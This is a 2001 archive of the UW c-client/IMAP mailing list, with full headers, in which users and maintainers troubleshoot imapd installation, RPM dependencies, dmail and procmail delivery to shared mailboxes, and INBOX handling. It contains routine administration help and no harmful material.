C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Irlanda Delgado Cc: c-client@u.washington.edu Subject: re: IMAP source In-Reply-To: <000901c171e2$f8420b70$a600000a@irlanda> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The source to the latest version of the UW IMAP toolkit is always: ftp://ftp.cac.washington.edu/mail/imap.tar.Z The current release version is imap-2001a, which has substantial improvements over imap-2000c. From pinedev@shivax2.cac.washington.edu Tue Nov 20 10:34:33 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 10:34:33 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKIYWT31792 for ; Tue, 20 Nov 2001 10:34:32 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 20 10:34:29 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKIYSn32639; Tue, 20 Nov 2001 10:34:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKIYA538024; Tue, 20 Nov 2001 10:34:10 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKISrn10224 for ; Tue, 20 Nov 2001 10:28:54 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 20 10:28:53 2001 -0800 Received: from klepto.isrd.net (klepto.isrd.net [206.205.246.48]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKISq919934 for ; Tue, 20 Nov 2001 10:28:52 -0800 Received: from localhost (kevin@localhost) by klepto.isrd.net (8.11.4/8.11.4) with ESMTP id fAKITBI02082 for ; Tue, 20 Nov 2001 13:29:11 -0500 Message-Id: Date: Tue, 20 Nov 2001 13:29:11 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kevin Dwyer To: c-client@u.washington.edu Subject: Re: IMAP source for redhat 7.0 In-Reply-To: <001301c171e3$9af35e00$a600000a@irlanda> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: klepto.isrd.lan: kevin owned process doing -bs X-X-Sender: kevin@klepto.isrd.lan X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 20 Nov 2001, Irlanda Delgado grunted something like: [Irland] I installed openssl-0.9.6b.tar.gz and imap-2000c-10.i386.rpm but imap [Irland] generate a error: [Irland] [Irland] error: failed dependencies: [Irland] libcrypto.so.1 is needed by imap-2000c-10 [Irland] libssl.so.1 is needed by imap-2000c-10 [Irland] Irlanda, this is a bit off-topic, but the problem is that you installed openssl from source and then wanted to install an rpm that depends on openssl rpm. Unfortunately, this is the way of Redhat's package manager. I think you're solution is either to install imap from source, or install openssl from rpm, or possibly use the --no-deps flag to rpm when installing imap, which may work if openssl's libraries are in LD_LIBRARY_PATH or /etc/ld.so.conf. As I look back and reread this, I realize it's a bit confusing. My personal recommendation is to steer clear of RPM's at all costs. /* Kevin Dwyer */ /* Network Security Engineer -=- Intermedia Communications */ From pinedev@shivax2.cac.washington.edu Tue Nov 20 13:35:54 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 13:35:54 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKLZrT03475 for ; Tue, 20 Nov 2001 13:35:53 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 20 13:35:47 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKLZkn07232; Tue, 20 Nov 2001 13:35:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKLZK538056; Tue, 20 Nov 2001 13:35:20 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKLXpn45542 for ; Tue, 20 Nov 2001 13:33:51 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 20 13:33:51 2001 -0800 Received: from ns.mific.gob.ni (ns.mific.gob.ni [200.9.189.194]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKLXn232179 for ; Tue, 20 Nov 2001 13:33:49 -0800 Received: from irlanda ([200.9.189.196]) by ns.mific.gob.ni (8.11.0/8.11.2) with SMTP id fAKMl4316672 for ; Tue, 20 Nov 2001 16:47:04 -0600 Message-Id: <007301c1720a$8026cb30$a600000a@irlanda> Date: Tue, 20 Nov 2001 15:29:51 -0600 Reply-To: "Irlanda Delgado" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Irlanda Delgado" To: Subject: error in imap start MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN well, i installed imap.tar.Z in a server with redhat 7.0. In /etc/services i did write: imap 143/tcp imapd imap 143/udp imapd pop2 l09/tcp pop-2 postoffice pop2 109/udp pop-2 pop3 110/tcp pop-3 When i start the imapd deamon i see the follow message: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS AUTH=LOGIN] ns.mific.gob.ni IMAP4rev1 2001.315 at Tue, 20 Nov 2001 16:46:15 -0600 (CST) * BAD Null command help me, please. Saludos, Irlanda -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 20 13:57:20 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 13:57:19 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKLvHT26999 for ; Tue, 20 Nov 2001 13:57:17 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Nov 20 13:57:06 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKLv6G20661; Tue, 20 Nov 2001 13:57:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKLuk534146; Tue, 20 Nov 2001 13:56:46 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKLhbn139688 for ; Tue, 20 Nov 2001 13:44:35 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 20 13:43:36 2001 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKLha203564 for ; Tue, 20 Nov 2001 13:43:36 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKLhaD12789; Tue, 20 Nov 2001 13:43:36 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKLhZw06407; Tue, 20 Nov 2001 13:43:35 -0800 Message-Id: Date: Tue, 20 Nov 2001 13:42:39 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Irlanda Delgado Cc: c-client@u.washington.edu Subject: re: error in imap start In-Reply-To: <007301c1720a$8026cb30$a600000a@irlanda> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 20 Nov 2001 15:29:51 -0600, Irlanda Delgado wrote: > When i start the imapd deamon i see the follow message: > * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS AUTH=LOGIN] ns.mific.gob.ni > IMAP4rev1 2001.315 at Tue, 20 Nov 2001 16:46:15 -0600 (CST) > > * BAD Null command What do you mean by "start the imapd daemon"? imapd is started by inetd as needed. It is not a standalone daemon, so should not be started independently. From pinedev@shivax2.cac.washington.edu Tue Nov 20 15:10:20 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 15:10:20 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKNAIT10397 for ; Tue, 20 Nov 2001 15:10:19 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 20 15:10:12 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKNACG23539; Tue, 20 Nov 2001 15:10:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKN9u537934; Tue, 20 Nov 2001 15:09:56 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKN4An180898 for ; Tue, 20 Nov 2001 15:04:11 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 20 15:04:10 2001 -0800 Received: from ns.mific.gob.ni (ns.mific.gob.ni [200.9.189.194]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKN48402730 for ; Tue, 20 Nov 2001 15:04:08 -0800 Received: from irlanda ([200.9.189.196]) by ns.mific.gob.ni (8.11.0/8.11.2) with SMTP id fAL0HG317627 for ; Tue, 20 Nov 2001 18:17:16 -0600 Message-Id: <00b201c17217$19ed2230$a600000a@irlanda> Date: Tue, 20 Nov 2001 17:00:03 -0600 Reply-To: "Irlanda Delgado" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Irlanda Delgado" To: Subject: imap is running MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 X-MSMail-Priority: High X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mike and Mark, thank you very much for your help, my webmail is running now. :)) Regards, Irlanda -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 21 11:38:00 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Nov 2001 11:37:59 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fALJbvT07465 for ; Wed, 21 Nov 2001 11:37:58 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Nov 21 11:37:51 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fALJbpn11837; Wed, 21 Nov 2001 11:37:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fALJbK529816; Wed, 21 Nov 2001 11:37:20 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fALJXmn121474 for ; Wed, 21 Nov 2001 11:33:49 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Nov 21 11:33:47 2001 -0800 Received: from sdf1.sixfeetup.com (sdf1.sixfeetup.com [205.158.174.204]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fALJXl412286 for ; Wed, 21 Nov 2001 11:33:47 -0800 Received: by sdf1.sixfeetup.com (Postfix, from userid 1000) id E74EEFFE57; Wed, 21 Nov 2001 11:33:39 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by sdf1.sixfeetup.com (Postfix) with ESMTP id D969417BE91 for ; Wed, 21 Nov 2001 11:33:39 -0800 (PST) Message-Id: Date: Wed, 21 Nov 2001 11:33:39 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Calvin Hendryx-Parker To: c-client@u.washington.edu Subject: dmail to a shared mailbox MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Howdy, Now that I think I am on the right list for this kind of question here goes. I have setup a imapshared user on my system and can read messages that I copy there and I have figured out how to get messages to be delivery there directly now. I was having a problem that I have setup my system so that users email boxes are stored under $HOME/mail and from these log messages it looked like imapshared user was no different. Nov 14 14:57:49 sdf1 dmail[76985]: delivery to /webhost/imapshared/mail/test unsafe: No such file or directory Nov 14 14:57:49 sdf1 dmail[76985]: invalid mailbox name imapshared+test Nov 14 14:57:49 sdf1 dmail[76985]: delivered to /var/mail/imapshared Nov 14 14:57:49 sdf1 postfix/local[76982]: 2012EFFE1F: to=, relay=local, delay=2, status=sent ("|/usr/local/bin/procmail -a "$EXTENSION"") So I added the ~imapshared/mail directory and now mail is delivered correctly with dmail, but when I access it though an IMAP client i have to drill through an extra mail directory so the message is actully put into #shared/mail/test instead of #shared/test. I also want to create new mailboxes with mbxcreat. Logged in as myself I tried making a new mailbox under shared like this mbxcreat #shared/test2 and it creates it under the ~imapshared directory and not in the ~imapshared/mail directory like it does when I create one for myself. Did I miss something in the building of imapd that is causing this? I don't mind having imapshared's mailboxes under ~imapshared/mail, but I would like the behavior to be consistant. Thanks, Calvin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 21 18:07:51 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Nov 2001 18:07:50 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAM27nT06312 for ; Wed, 21 Nov 2001 18:07:50 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Nov 21 18:07:40 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAM27en24177; Wed, 21 Nov 2001 18:07:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAM27Vb26868; Wed, 21 Nov 2001 18:07:31 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAM24rn61864 for ; Wed, 21 Nov 2001 18:04:53 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Nov 21 18:04:52 2001 -0800 Received: from misery.sdf.com (misery.sdf.com [207.200.153.226]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAM24p430764 for ; Wed, 21 Nov 2001 18:04:51 -0800 Received: from tom (helo=localhost) by misery.sdf.com with local-esmtp (Exim 2.12 #1) id 166ihS-0000VH-00; Wed, 21 Nov 2001 17:30:46 -0800 Message-Id: Date: Wed, 21 Nov 2001 17:30:45 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Samplonius To: Calvin Hendryx-Parker Cc: c-client@u.washington.edu Subject: Re: dmail to a shared mailbox In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 21 Nov 2001, Calvin Hendryx-Parker wrote: > Nov 14 14:57:49 sdf1 dmail[76985]: delivery to /webhost/imapshared/mail/test unsafe: No such file or directory > Nov 14 14:57:49 sdf1 dmail[76985]: invalid mailbox name imapshared+test > Nov 14 14:57:49 sdf1 dmail[76985]: delivered to /var/mail/imapshared > Nov 14 14:57:49 sdf1 postfix/local[76982]: 2012EFFE1F: to=, relay=local, delay=2, status=sent ("|/usr/local/bin/procmail -a "$EXTENSION"") Running Dmail and Postfix+Procmail on the same system is likely to cause conflicts. What MTA do you want to use? Tom From pinedev@shivax2.cac.washington.edu Sun Nov 25 12:50:27 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 25 Nov 2001 12:50:26 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAPKoPT14565 for ; Sun, 25 Nov 2001 12:50:26 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Sun Nov 25 12:50:19 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAPKoIG03628; Sun, 25 Nov 2001 12:50:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAPKo4420706; Sun, 25 Nov 2001 12:50:04 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAPKiYn66010 for ; Sun, 25 Nov 2001 12:44:34 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Sun Nov 25 12:44:30 2001 -0800 Received: from sdf1.sixfeetup.com (sdf1.sixfeetup.com [205.158.174.204]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAPKiU926550 for ; Sun, 25 Nov 2001 12:44:30 -0800 Received: from sixfeetup.com (dsl-64-130-131-57.telocity.com [64.130.131.57]) by sdf1.sixfeetup.com (Postfix) with ESMTP id 926ECFFE57; Sun, 25 Nov 2001 12:44:26 -0800 (PST) Message-Id: <3C0158A1.8090306@sixfeetup.com> Date: Sun, 25 Nov 2001 12:46:25 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Calvin Hendryx-Parker To: Tom Samplonius Cc: c-client@u.washington.edu Subject: Re: dmail to a shared mailbox References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Tom Samplonius wrote: >On Wed, 21 Nov 2001, Calvin Hendryx-Parker wrote: > >>Nov 14 14:57:49 sdf1 dmail[76985]: delivery to /webhost/imapshared/mail/test unsafe: No such file or directory >>Nov 14 14:57:49 sdf1 dmail[76985]: invalid mailbox name imapshared+test >>Nov 14 14:57:49 sdf1 dmail[76985]: delivered to /var/mail/imapshared >>Nov 14 14:57:49 sdf1 postfix/local[76982]: 2012EFFE1F: to=, relay=local, delay=2, status=sent ("|/usr/local/bin/procmail -a "$EXTENSION"") >> > > Running Dmail and Postfix+Procmail on the same system is likely to cause >conflicts. What MTA do you want to use? > I want to use Procmail as the MDA and Postfix as the MTA. From the dmail man page it seems as it is made for use with procmail. Seems like Postfix would be abstracted from the whole bit since it hands the message off to procmail for the delivery. Seems to me like imapd should obey the c-client settings of the mailsubdir and make sure that you have to have a ~imapshared/mail directory for the delivery just like any other user on the system. Seems like more trouble to make the other tools like dmail follow these few exceptions like the #shared and #public namespace. Calvin From pinedev@shivax2.cac.washington.edu Sun Nov 25 12:56:32 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 25 Nov 2001 12:56:32 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAPKuUT32037 for ; Sun, 25 Nov 2001 12:56:31 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Sun Nov 25 12:56:25 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAPKuPn25355; Sun, 25 Nov 2001 12:56:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAPKu7537956; Sun, 25 Nov 2001 12:56:07 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAPKqln114502 for ; Sun, 25 Nov 2001 12:52:47 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Sun Nov 25 12:52:47 2001 -0800 Received: from sdf1.sixfeetup.com (sdf1.sixfeetup.com [205.158.174.204]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAPKqk428906 for ; Sun, 25 Nov 2001 12:52:47 -0800 Received: from sixfeetup.com (dsl-64-130-131-57.telocity.com [64.130.131.57]) by sdf1.sixfeetup.com (Postfix) with ESMTP id 28300FFE57 for ; Sun, 25 Nov 2001 12:52:46 -0800 (PST) Message-Id: <3C015A95.5060001@sixfeetup.com> Date: Sun, 25 Nov 2001 12:54:45 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Calvin Hendryx-Parker To: c-client Subject: Accessing IMAP mailboxes with Pine MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I configured the mail subdirectory name to be "mail". Using procmail and dmail to deliver mail to a local user in the mbx format it puts the messages into their ~/mail/INBOX directory. Then when I access it via IMAP using Outlook or Netscape Mail I can get the messages fine, but when I try to use Pine to access a remote IMAP server all of my other mail folders show up except the INBOX. I think it is still reading from the /var/mail/ spool directory which is empty since I have dmail put it to the mbx INBOX in the users home directory. Is there a way around this behavior? Thanks, Calvin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 26 14:28:40 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 26 Nov 2001 14:28:36 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAQMSWT19500 for ; Mon, 26 Nov 2001 14:28:35 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 26 14:28:27 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAQMSRG08377; Mon, 26 Nov 2001 14:28:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAQMSD528984; Mon, 26 Nov 2001 14:28:13 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAQMLln15128 for ; Mon, 26 Nov 2001 14:21:47 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 26 14:21:46 2001 -0800 Received: from incubus.modulo.org (mercea.net [209.143.90.122] (may be forged)) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAQMLeB03767 for ; Mon, 26 Nov 2001 14:21:46 -0800 Received: (qmail 1223 invoked by uid 500); 26 Nov 2001 22:21:38 -0000 Message-Id: <20011126172138.K1018@modulo.org> Date: Mon, 26 Nov 2001 17:21:38 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ben h kram To: c-client Subject: imap Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi - I'm playing with imapd - I need a rather more virtual virtual server than can be found in the wild, so I've started with Patrik Hall's virtual user patch and working from there. Mine uses a single userid for all users, and a backend db for authentication. I have it working (more or less) but I'm having an issue that I've yet to trace. 1. I'm doing this chrooted to the user's home directory 2. My test user directory has an "INBOX" (in mbx format) and a "test" box (mbx). 3. I can log in as my virtual user, I can read my mail, delete my mail, move my mail etc. 4. However, if I delete a message from my INBOX, when my client syncs with my server, I get garbage from the server, and what looks like an empty mailbox. 5. If I reload that mailbox (INBOX), it is fine. 6. This effect only happens when deleting and syncing the INBOX - the "test" box works fine. 7. I'm using mutt1.2.5 as my imap client. I know that since I've been hacking the server, anything is suspect. However, my changes have only been in the env_unix.c (maybe something in c-client too...). I guess the main clue is that it only happens when it is the INBOX. Any wisdom will be appreciated. cheers, ben -- One of my least favorite things in the world is writing a pilot. Well, no, that's not true, it's also being stabbed. - Ben Edlund May 2000, New England Comics interview -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 26 20:02:19 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 26 Nov 2001 20:02:18 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAR42HT06218 for ; Mon, 26 Nov 2001 20:02:17 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 26 20:02:08 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAR428G18514; Mon, 26 Nov 2001 20:02:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAR41w509992; Mon, 26 Nov 2001 20:01:58 -0800 Received: from 